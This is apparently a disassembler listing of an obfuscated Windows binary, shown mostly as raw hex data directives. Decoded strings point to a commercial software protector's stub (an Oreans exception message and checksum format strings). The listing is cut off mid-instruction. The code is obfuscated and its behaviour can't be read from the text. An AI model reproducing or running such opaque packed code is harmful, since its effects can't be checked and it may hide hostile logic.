610904C4h, 9E90FFEh dd 0A7000000h, 1DA05D6h, 85418ACCh, 0F99D8D53h, 8B061F31h dd 8B038903h, 43895043h, 0D89D8D50h, 8B062202h, 5B038903h dd 9FAB70Fh, 1F1541B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0FE0F62C5h, 0C2D223ADh dd 0D59D8941h, 60061F1Eh, 6A61D48Ah, 0FFC3BF00h, 858D3EDBh dd 62202D8h, 0C8E0Fh, 8E0F0000h, 6, 31919529h, 8501061Fh dd 61F1AF9h, 79C28150h, 6A33E1C4h, 0CEBF0F60h, 31F9858Dh dd 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 120319C3h, 3432EF2Ch, 93F1BA66h, 55006A50h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0D9E5B96Ch, 323B2F11h, 0B1B589A8h, 6A061F31h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0DB904F4h, 0FC949DA6h, 8F0F006Ah, 16h, 11E9h, 0DA6EBA00h dd 77B5B91Ch, 0CF13FA13h, 1265CBCFh, 68D9AEh, 53000018h dd 95FFEE8Ah, 61F0881h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0B9C35040h, 48E18992h, 89A78D09h, 1F2D899Dh dd 36CA8106h, 0FF6AAD06h, 1F107595h, 0FEB70F06h, 33FB5FFh dd 6FBA0622h, 0FF7C267Fh, 1F2D5995h, 4DBD8B06h, 8D061F1Fh dd 1F31F985h, 0DD8D8B06h, 89061F13h, 1F0B4DBDh, 18408B06h dd 5AEA8166h, 3985C702h, 61F12h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 136AC356h dd 4B1CEC7Fh, 8B314403h, 0C1BD83CBh, 61F32h, 38840Fh, 958B0000h dd 61F13F9h, 8C3Dh, 0E9830F00h, 0B5000001h, 2FE9D5h, 33570000h dd 1F32BD95h, 8A0F5F06h, 12h, 0DE9h, 6D18A000h, 28A29CB4h dd 8F034445h, 963D5926h, 0F000000h, 1B783h, 89B96600h dd 9F858D82h, 0E9005AF5h, 0Bh, 0D09E75C9h, 6EA06E20h, 0FF475C20h dd 95958BD0h, 8D061F0Fh, 5AEFF285h, 0B9853100h, 0FF061F31h dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 897F9B57h, 1F129585h, 83C08B06h, 1F06C1BDh dd 9750006h, 1F51BD83h, 7400061Fh, 8B535019h, 0BC6B8C0h dd 85890000h, 61F0F65h, 0AFA49D8Dh, 0D3FF0621h, 0BD83585Bh dd 61F1F51h, 50177400h, 0BC6B853h, 85890000h, 61F0F65h dd 0AC939D8Dh, 0D3FF0621h, 8B60585Bh, 859589D9h, 61061F05h dd 158589h, 0C08B061Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0FBC35141h, 63047671h, 0FFF883F9h, 60850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 6D2316C3h, 0AD9D295Dh, 0C7061F16h, 1F2A5585h dd 6, 0A58D8900h, 0E9061F02h, 153h, 0E9D6BF0Fh, 5Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0AC35545h, 0F883A210h dd 38850F01h, 29000000h, 1F2C4D8Dh, 141E906h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 9D2386C3h, 890D630Fh, 1F015D8Dh, 71B52906h, 0E9061F15h dd 0FFFFF260h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 39C35545h, 6026A3ABh, 8A5BDF80h, 7E861F4h, 8A000000h dd 10EB21C7h, 5AF86E9Dh, 9D89C08Bh, 61F1D11h, 6C1BD83h dd 7500061Fh, 51BD8309h, 61F1Fh, 53501974h, 0DDB8C08Bh dd 89000007h, 1F0F6585h, 0A49D8D06h, 0FF0621AFh, 83585BD3h dd 1F1F51BDh, 17740006h, 0DDB85350h, 89000007h, 1F0F6585h dd 939D8D06h, 0FF0621ACh, 6A585BD3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0FD42C356h dd 858D333Eh, 6A061F07h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 6C62C356h, 0BD8B6047h dd 61F2CA5h, 0D388E681h, 8B6168E8h, 558501C0h, 0E9061F10h dd 233h, 8DFABF0Fh, 2200DC85h, 2840F06h, 8B000000h, 0D48589FAh dd 0F062202h, 68Ch, 0B9BD8B00h, 0E9061F16h, 75h, 8D9EE180h dd 21FEE485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0C806E0BEh, 0FE94FC7h, 2000000h dd 0DDD3C224h, 122A0018h, 0E55827EDh, 6A404972h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 162FC350h, 253DD487h, 8964FBCBh, 1F0299B5h, 0D4858906h dd 8B062202h, 1F1145BDh, 8D346A06h, 1F0BD985h, 0B5FF5006h dd 62202D4h, 95FF006Ah, 61F16E5h, 0F07F883h, 16284h, 0DB8C6600h dd 0F04C3F6h, 0FC85h, 2585C600h, 56061F20h, 0A8B85268h dd 0D9B5FF9Ch, 8D061F20h, 1F394D85h, 6AD0FF06h, 10006804h dd 646A0000h, 0D0FF006Ah, 3478589h, 85C60622h, 61F2025h dd 0AC9B6847h, 0B5FFEC18h, 61F20D9h, 394D858Dh, 0D0FF061Fh dd 0F08BD0FFh, 202585C6h, 684F061Fh, 0C62F2661h, 1BE5B5FFh dd 858D061Fh, 61F394Dh, 9D8DD0FFh, 6220343h, 56286A53h dd 0C085D0FFh, 85C60075h, 61F2025h, 64986841h, 0B5FFDB87h dd 61F1BE5h, 394D858Dh, 0D0FF061Fh, 3608589h, 85C60622h dd 61F2025h, 0E7A4684Ch, 0B5FF80A4h, 61F1BE5h, 394D858Dh dd 0D0FF061Fh, 3479D8Bh, 5B8D0622h, 9D8D5304h, 622034Ch dd 0FF006A53h, 479D8BD0h, 0C7062203h, 103h, 0C43C700h dd 2, 1B2985C7h, 61Fh, 6A0000h, 6A006Ah, 3479D8Bh, 6A530622h dd 43B5FF00h, 0FF062203h, 22036095h, 2585C606h, 45061F20h dd 0A5F79768h, 51B5FF92h, 8D061F2Ch, 1F394D85h, 6AD0FF06h dd 0FF026A00h, 0DB8C66D0h, 7504C3F6h, 479D8B32h, 0C7062203h dd 0C43h, 6A0000h, 9D8B006Ah, 6220347h, 0FF006A53h, 220343B5h dd 6095FF06h, 0FF062203h, 220343B5h, 7595FF06h, 6A061F10h dd 0E195FF00h, 81061F0Eh, 0C0397AC9h, 6FCF8152h, 8D49439Dh dd 22386D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 5174C8EDh, 86E7D5C5h, 0BF0F975Bh dd 0AD8D01FAh, 50061F24h, 0E858D8Bh, 0FF64061Fh, 35h, 0C4E98100h dd 64067566h, 2589h, 0BD8B0000h, 61F2AF5h, 20F1BD83h, 0F00061Fh dd 7D84h, 0CE85000h, 3000000h, 23DB03B0h, 0E11C6260h, 89EBC065h dd 1F0329BDh, 835A5F06h, 1F0EF5BDh, 850F0106h, 56h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CEC35545h, 71739193h dd 0C9A193DEh, 418D0160h, 3061F0Ah, 1F0FC1BDh, 0BD806106h dd 6220760h, 17850F00h, 8B000000h, 1F2C2195h, 18BE906h dd 958B0000h, 61F0891h, 2B6D8D8Bh, 0DB33061Fh, 6800Fh dd 85310000h, 61F1FEDh, 8A60C033h, 0F58D8BE6h, 61061F19h dd 73F0F40h, 58F640Bh, 0 dd 6A04C483h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0E931C353h, 1A7075E3h, 0E9D445B8h dd 0Ch, 0B63C75h, 29D9CD18h, 704A52D1h, 9D9DBF66h, 7E9h dd 0CDE64400h, 58D70167h, 0FFFFB83h, 0E84h, 0E1950B00h dd 0E9061F16h, 0F3h, 0E9D7BF0Fh, 86h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0E5C35646h, 1C21958Bh, 8B66061Fh dd 244C8BD3h, 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h dd 0C0330400h, 245C8BC3h, 0E8550Ch, 5D000000h, 388FED81h dd 838B0622h, 0B8h, 393D858Dh, 83890622h, 0B8h, 0C3C0335Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 16C35141h dd 1E1DBD89h, 858D061Fh, 6223885h, 0B199503h, 0F850061Fh dd 0FF6425B5h, 35h, 0DE800h, 59E10000h, 0C53FB1DBh, 9CE7BBF3h dd 817A3667h, 591D9CD9h, 89645916h, 25h, 45952900h, 0B9061F0Fh dd 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h, 1F2A6185h dd 106h, 58F6400h, 0 dd 6A04C483h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0CB39C352h, 39444B1Fh, 6D9AC61Ch dd 3A64F8BAh, 0C0B2604Eh, 61DF8B66h, 0D549C781h, 0C08B31B1h dd 0BA59589h, 0BF66061Fh, 0BD83D682h, 61F06C1h, 83097500h dd 1F1F51BDh, 19740006h, 0C08B5350h, 43DB8h, 95858900h dd 8D061F13h, 21B00B9Dh, 5BD3FF06h, 51BD8358h, 61F1Fh dd 53501774h, 43DB8h, 95858900h, 8D061F13h, 21ACAC9Dh dd 5BD3FF06h, 0F44ABA58h, 0BE94667h, 67000000h, 0B5D2BC70h dd 0EFE794D2h, 6A5E47h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 4F29FFC3h, 31A63857h, 1F063D9Dh dd 0E9C08B06h, 13Ah, 4, 35382E31h, 35h, 6 dup(0) dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh dd 61F1BA1h, 2D840F00h, 8D000001h, 21AAC385h, 858D5006h dd 621AA2Dh, 16850h, 95FF8000h, 621AAD3h, 3A18858Dh, 8D500622h dd 223A2285h, 6A5006h, 858D006Ah, 621AA41h, 0C3B5FF50h dd 0FF0621AAh, 1F312595h, 18858D06h, 5006223Ah, 3A26858Dh dd 6A500622h, 8D006A00h, 21AA5385h, 0B5FF5006h, 621AAC3h dd 312595FFh, 858D061Fh, 6223A18h, 32858D50h, 5006223Ah dd 6A006Ah, 0AAA0858Dh, 0FF500621h, 21AAC3B5h, 2595FF06h dd 8D061F31h, 223A1885h, 858D5006h, 6223A3Ah, 6A006A50h dd 0BE858D00h, 500621AAh, 0AAC3B5FFh, 95FF0621h, 61F3125h dd 3A18858Dh, 8D500622h, 223A3685h, 6A5006h, 858D006Ah dd 621AAA7h, 0C3B5FF50h, 0FF0621AAh, 1F312595h, 18858D06h dd 5006223Ah, 3A2A858Dh, 6A500622h, 8D006A00h, 21AAAF85h dd 0B5FF5006h, 621AAC3h, 312595FFh, 858D061Fh, 6223A18h dd 2E858D50h, 5006223Ah, 6A006Ah, 0AAB6858Dh, 0FF500621h dd 21AAC3B5h, 2595FF06h, 0FF061F31h, 21AAC3B5h, 0F595FF06h dd 0E9061F2Dh, 0A2h, 0A09BD83h, 0F00061Fh, 9584h, 0F5BD8300h dd 61F0Eh, 11850Fh, 958B0000h, 61F1BB5h, 1CF8C281h, 0FE90000h dd 8D000000h, 1F31F995h, 34528B06h, 0C340C281h, 95893BD4h dd 61F0215h, 215BD83h, 0F00061Fh, 5584h, 159D8B00h, 83061F02h dd 38B4CC3h, 3A228589h, 9D8B0622h, 61F0215h, 8B50C383h dd 26858903h, 8B06223Ah, 1F02159Dh, 54C38306h, 8589038Bh dd 6223A32h, 2159D8Bh, 0C383061Fh, 89038B58h, 223A3685h dd 159D8B06h, 83061F02h, 38B5CC3h, 3A2A8589h, 0BD830622h dd 61F1BA1h, 0D850F00h, 83000000h, 1F0A09BDh, 840F0006h dd 68h, 3A3AB5FFh, 0B5FF0622h, 6223A2Eh, 3A2AB5FFh, 0B5FF0622h dd 6223A36h, 3A32B5FFh, 0B5FF0622h, 6223A26h, 3A22B5FFh dd 858D0622h, 6223A1Ch, 54858D50h, 5006223Ah, 365858Dh dd 0FF50061Fh, 1F00A195h, 24C48306h, 858D406Ah, 6223A3Eh dd 65858D50h, 50061F03h, 95FF006Ah, 61F16E5h, 95FF016Ah dd 61F0EE1h, 18EBC18Bh, 9B46F317h, 5 dup(0) dd 20BE9h, 5C8B6000h, 0E82424h, 5D000000h, 3DDBED81h, 0C2610622h dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh dd 0F6E90008h, 0FFFFFFh, 0 dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 223E13B5h, 0E68106h dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h, 223E17B5h dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h, 8C6650C3h dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h dd 61F0215h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh, 2404FF58h dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 1F2D7595h, 10F5006h dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h, 2588966h dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 61F0215h dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h dd 0A03E380h, 38840FDBh, 0BB000000h, 2, 215858Bh, 1886061Fh dd 850FDB0Ah, 0FFFFFFF6h, 206D85C7h, 61Fh, 448B0000h, 988B0824h dd 1000h, 10009889h, 188B0000h, 0AE91889h, 0C7000000h dd 1F206D85h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h dd 13h, 2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h dd 29840F04h, 0C7000000h, 223DB885h, 106h, 10F5000h, 8FFE244Ch dd 223DBC85h, 0B4858D06h, 8D06223Dh, 223DBCBDh, 0E9388906h dd 23h, 31F9858Dh, 408B061Fh, 0F3170538h, 85899B46h, 6223DB4h dd 31F9858Dh, 408B061Fh, 0B885893Ch, 8D06223Dh, 223DD185h dd 75858906h, 0E9061F2Dh, 87h, 60D48B52h, 8B08728Bh, 0B2B80C7Ah dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh dd 7, 6280630h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah, 0AC000000h dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 22404485h, 21858906h dd 8D061F1Fh, 22406C85h, 0AD858906h, 8D061F0Fh, 22409485h dd 25858906h, 0E8061F11h, 0Eh, 0C075B326h, 0F78D595Bh dd 0A71312A8h, 9E9B71Fh, 39000000h, 7B08446Ch, 5F3270DDh dd 81C08158h, 66000060h, 0B944EDBEh, 53D24D31h, 0CAC3C181h dd 0F08AAC2Dh, 815230FFh, 491831E2h, 665B5A66h, 0C381F78Bh dd 2D8139F6h, 11E8h, 30044D00h, 54543A68h, 4D144A5Eh, 0C998CAECh dd 815ACAE7h, 0E68ED5EBh, 0D6816642h, 0EB81217Ah, 2C6C52CAh dd 8F53FCh, 38E881F5h, 0E824112Ah, 5, 0F677F22Ah, 14E980h dd 0E28A0000h, 8111533Dh, 0EE05626Bh, 3EB987E1h, 0FABF82E9h dd 815F65E7h, 112A34C0h, 40BA6624h, 850F4900h, 0FFFFFF84h dd 0A8F73EBEh, 0E281606Fh, 0DA3F2FFh, 6AC08Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0A2A052C3h, 0B2E4A0C4h, 0C1BD83D9h, 61F06h, 0BD830975h dd 61F1F51h, 50197400h, 0B8C08B53h, 40Eh, 0F658589h, 9D8D061Fh dd 621AFA4h, 585BD3FFh, 1F51BD83h, 7400061Fh, 0B8535017h dd 40Eh, 0F658589h, 9D8D061Fh, 621AC93h, 585BD3FFh, 0FCF8B66h dd 6AC9BFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0D11384C3h, 0E9F9C08Bh, 5, 0C046032Dh, 0F1BD83C2h dd 61F20h, 13840Fh, 0D9810000h, 46AF28Ah, 29AE9h, 0E2EA8100h dd 8A4D2021h, 6ADF8CD5h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 8BDFC350h, 0BEF5BE6Ch dd 9C4B37DCh, 8820Fh, 870F0000h, 2, 0F7665E57h, 0F0004C7h dd 25285h, 68D0F00h, 81000000h, 3E12A4C6h, 0D38B663Eh dd 6AFF2Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 5FC80EC3h, 0D25C5D06h, 8D109415h, 2244B49Dh dd 9850F06h, 0F000000h, 383h, 0DED68000h, 0AE850h, 0FBC00000h dd 75E56D1Bh, 0F6F05F62h, 895EF28Bh, 6A241Ch, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 3EAEDC3h dd 0F83BB5D5h, 64F28B66h, 35FFh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 7CB9B5C3h dd 72BE667Dh, 13E8E9h, 82050000h, 84663BC3h, 0D044748Dh dd 9C7216h, 64B8538Eh, 178B0F58h, 0E9000000h, 12h, 874EE59Ch dd 68C2EDCh, 3ED9E8BCh, 0A7F8EB09h, 645E75EAh, 2589h, 0EA810000h dd 353AA9AAh, 0B70FC48Bh, 0A9F8B9F0h, 1CD344Bh, 10E800EBh dd 0AF000000h, 0B2B82162h, 0FC9B0645h, 352C0B6h, 8BB14A3Dh dd 0E6815AD7h, 43A062CAh, 58F64h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0D5DAC351h, 4CFCD986h, 0C18822BAh, 9E97Ch, 2720000h dd 0D577E76Ch, 83C266D1h, 71B904C4h, 0B413DB4h, 0E8840FC0h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0E6FDC355h, 0E86E2B94h, 5, 28F55897h dd 77BA666Eh, 0F9615E8Bh, 7110BD8Dh, 6A061Fh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FE959C3h dd 183h, 0DBEF900h, 0F3761ACh, 48Ch, 0D0BE6600h, 1B8FFh dd 80600000h, 8166FED6h, 614901E8h, 6AE7FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 5E5025C3h dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h dd 83000000h, 0B883h, 335F0200h, 8166C3C0h, 6A6AEEE1h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0E07CC350h, 0FE714D4h, 289h, 61F78B00h, 0CEB70F53h dd 66C08B59h, 837D07BAh, 1F06C1BDh, 9750006h, 1F51BD83h dd 7400061Fh, 8B535019h, 40EB8C0h, 85890000h, 61F1395h dd 0B00B9D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h dd 40EB853h, 85890000h, 61F1395h, 0ACAC9D8Dh, 0D3FF0621h dd 14E8585Bh, 8A000000h, 826296A2h, 0E6E05ECAh, 98AAD1D1h dd 0F60973A9h, 81442952h, 7BC445C2h, 870F5922h, 0 aLLI db '‹À‹Âë',8,0 align 10h dd 0 dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h dd 61F0EF5h, 9A18858Dh, 88B0622h, 1000888Bh, 0A8B0000h dd 0FC4A8B66h, 458A8D89h, 0BD830622h, 61F32C1h, 0F840F00h dd 60000000h, 95FF006Ah, 61F1D45h, 0FFC4E961h, 8966FFFFh dd 0CEC1FC72h, 72896610h, 4CD5202h, 8685895Ah, 8B062245h dd 22458AB5h, 10CEC106h, 2728966h, 458AB58Bh, 89660622h dd 8B61FC72h, 22458685h, 958DC306h, 61F24E9h, 2159589h dd 9589061Fh, 61F1751h, 175185FFh, 85C6061Fh, 61F2025h dd 48D86853h, 0B5FFFCB1h, 61F20D9h, 394D858Dh, 0D0FF061Fh dd 1D458589h, 858D061Fh, 6223DEBh, 14F98589h, 20EB061Fh dd 8 dup(0) dd 5DDE9h, 5D1E900h, 78680000h, 0E9062248h, 0FFFD36FAh dd 22490568h, 36F0E906h, 9968FFFDh, 0E906224Ah, 0FFFD36E6h dd 224B3568h, 36DCE906h, 0D9FFFFDh, 0ECB97DF4h, 0D2D89C13h dd 0B5F4B82Fh, 970FD34Ah, 0EDA7F36Ah, 0CC43BEE8h, 0ED64AB08h dd 0B827F29h, 289F6047h, 623AE65Fh, 0F519B15Bh, 347434BDh dd 4546A9CDh, 8D0A9C65h, 0BC7CBE57h, 5B0B4BE9h, 7820B24Fh dd 2EE4B854h, 0CB4A9FD3h, 0CC512813h, 2A7C7094h, 9000000h dd 0D3A18459h, 4D40F71Fh, 709F14D4h, 0A327D34Ch, 0E15F5E8h dd 0E801D985h, 0E09425F5h, 688C8330h, 0D5047B2Fh, 36h dd 0F0467C5Eh, 3A5584B3h, 65F7189Bh, 59F519BDh, 1FD32585h dd 0D34C41F6h, 0F598144Ah, 0A7E49518h, 4363E783h, 5A0E15F5h dd 6E90ABE1h, 6658604Eh, 0EC10EFB6h, 0F37CFE75h, 0D3A16F47h dd 2A4E021Fh, 3FD1307Ah, 0D3A1D09Fh, 1AC4539Fh, 74B0083Eh dd 4DAEAC8h, 94B85CA3h, 0C23BC6E4h, 594EA502h, 0C86C14A6h dd 70C62DA4h, 22F6A21Bh, 0AD9FD2D0h, 0F4B367F9h, 0A2D940Bh dd 21D80E87h, 0F9AE39AAh, 0B18935AEh, 449FD2E8h, 47F36C90h dd 95EFF77Eh, 0DAD3FF3h, 0A5F1F739h, 4026594Dh, 90D4F435h dd 3CF08226h, 3911BD6Dh, 0CCA5F23Fh, 0D8E27418h, 3A989549h dd 0FCFE34BDh, 2D0B7828h, 345D35D1h, 67F0A5F2h, 0F234E3BBh dd 1EC276A5h, 3521F9A5h, 0B4A5F2h, 0DB7D61DCh, 0FECD7CA5h dd 0FB1FFFD9h, 75071465h, 8C19D989h, 8939E173h, 0A54DDF20h dd 90E881h, 0D65F0000h, 0F1EA522Ah, 0B84EF8A5h, 0CED8D00Ah dd 5ABDE195h, 0D604467Ch, 0D43816F0h, 0B7DA5DB0h, 0E52F923Eh dd 669C15F5h, 25A22496h, 0F62F53C8h, 9E09C942h, 327CF61h dd 0A0DDCA8Ah, 0A822C186h, 0A922C64Dh, 9889DA73h, 3256AA44h dd 4FB0F7BBh, 0FDD0DE8h, 537208F0h, 30Bh, 0AB22DFCDh, 0CA41BEE7h dd 0E65DA406h, 1788722h, 2198693Dh, 94121BD5h, 8132F66Dh dd 5553178Eh, 367135ACh, 108952C9h, 0B1598C64h, 74E71F19h dd 2D6DAh, 65456300h, 0CD8D0A9Ch, 71901ADBh, 390DA9CDh dd 611FD3A1h, 1FD3A30Dh, 0D3A16235h, 0A1B88C1Fh, 0CE01FD3h dd 571FD3A2h, 5DEF1097h, 21F591B5h, 925FD3A2h, 0CB77F0A5h dd 0D5F55B4Dh, 53AA3CF0h, 8C38B1E4h, 0DC128AE7h, 2CD3D494h dd 1B22188h, 0A1373A6Ch, 27E82h, 956C4000h, 0B44B5A1Eh dd 0D031793Dh, 0EB149559h, 0BF6B074h, 878E4894h, 0A76BE21Fh dd 0C88C030Ch, 0E6AA21E0h, 0FEC73EC1h, 5901D985h, 5C9419B1h dd 0FE467CE9h, 8FD47A25h, 693EEE12h, 923D15C1h, 1CD01FD3h dd 0A88FE678h, 58C06CE5h, 0CB15F5DAh, 0CEDCA017h, 0A62FBC33h dd 0F5DA22FAh, 0DD01B525h, 0B847D2Dh, 11A35C4Bh, 5CB34569h dd 0B43DB6DBh, 0F5D93008h, 0EB0FC325h, 2156C672h, 25D91C18h dd 526121AEh, 5F832BBDh, 1820EFC3h, 0B2D7602Ch, 68218D39h dd 0E89C223Ah, 7F8AF6Fh, 0A3DCCE8Eh, 8A4CACAEh, 0D26408BBh dd 0CB8F062Ah, 0F19123DCh, 323A270Dh, 13EEB878h, 9BBF5063h dd 219AEF48h, 5C6DF575h, 0D1D89828h, 51118A2Eh, 0A532A956h dd 6C98701Ch, 772B385Ch, 0FB04A353h, 754DF982h, 0C8385C6Ch dd 5C6C441Ch, 0EA23D738h, 0E0801236h, 385C6CFCh, 6EE7AA8Dh dd 7EB452C2h, 9315D52Eh, 9151CA6Eh, 36CBDD16h, 50571B92h dd 71C61DAFh, 5A1AA31Ch, 0D38EB44Bh, 7DCA5762h, 8E12AED2h dd 3934A1A7h, 7F53F385h, 0E544A1A6h, 0F6C37866h, 172BA547h dd 0Ch, 0BE8559A4h, 142E1FD3h, 0B7000000h, 0AE9BC7Ch, 2AD2649Bh dd 30CFD686h, 0BB9C700Ch, 0A2FD1FD3h, 0DB870095h, 15F5E973h dd 9E16B0E6h, 6D1F6FD2h, 57E037C9h, 7EFC8126h, 3A4DFA91h dd 0EA6307ABh, 542CD861h, 0E725F620h, 1E730F33h, 0AB1C132Ah dd 0AF2990F7h, 69CFA6Ch, 0EAE7h, 100AC00h, 20DFC68Ah, 3CC5E5A9h dd 57A801C5h, 778A1CE0h, 0F3FAB400h, 13D74EB3h, 34F86FA0h dd 52168D74h, 6A33AA55h, 576D45F1h, 0C80019B1h, 7E95A255h dd 0D5903FD4h, 26DBCB2Eh, 0A448EC94h, 8A7AF52Bh, 1DABD3F8h dd 0B0D47889h, 0B7EEAE37h, 0B6EFC773h, 0CE821FD2h, 26A062Ah dd 7515F4FEh, 13BF48C1h, 25F4FC3Bh, 64F61ACEh, 7F8027E7h dd 0CE2145EDh, 0FFAB2469h, 1C120EB6h, 6EB3B5EBh, 0E60CF5B5h dd 4CCD77A9h, 2B1ECE17h, 9BD4F89Ch, 44C780E7h, 0EC82FA6Dh dd 4ECDh, 659C1000h, 847B2AEEh, 0A061490Dh, 0BB446529h dd 0DB268044h, 575E1864h, 773BB24Fh, 985CD33Ch, 0B67AF110h dd 0CE970EF1h, 56D1A955h, 2C6419B1h, 19DAB9h, 7C630000h dd 0DD2D1946h, 9DC19A23h, 9D49D24Fh, 1FD37EC5h, 0B1F4A458h dd 45C72A4Eh, 54089A67h, 661AAC53h, 792DBF42h, 8F43D53Ah dd 0A458EA17h, 0B96DFF02h, 0C97D0FF0h, 0DA8E20E1h, 86A234CBh dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68240489h, 4383h dd 68241489h, 529Fh, 53243C89h, 0AC0FB0BBh, 37C38149h dd 81149816h, 1C025EEBh, 6E3C106h, 5D72BA52h, 0D321709Bh dd 9AEB815Ah, 89F9E5F9h, 8B545BDAh, 0C483243Ch, 34815204h dd 0EA1AC624h, 8478F4Fh, 62CEBE56h, 0F681644Eh, 2BA47808h dd 5E087731h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add 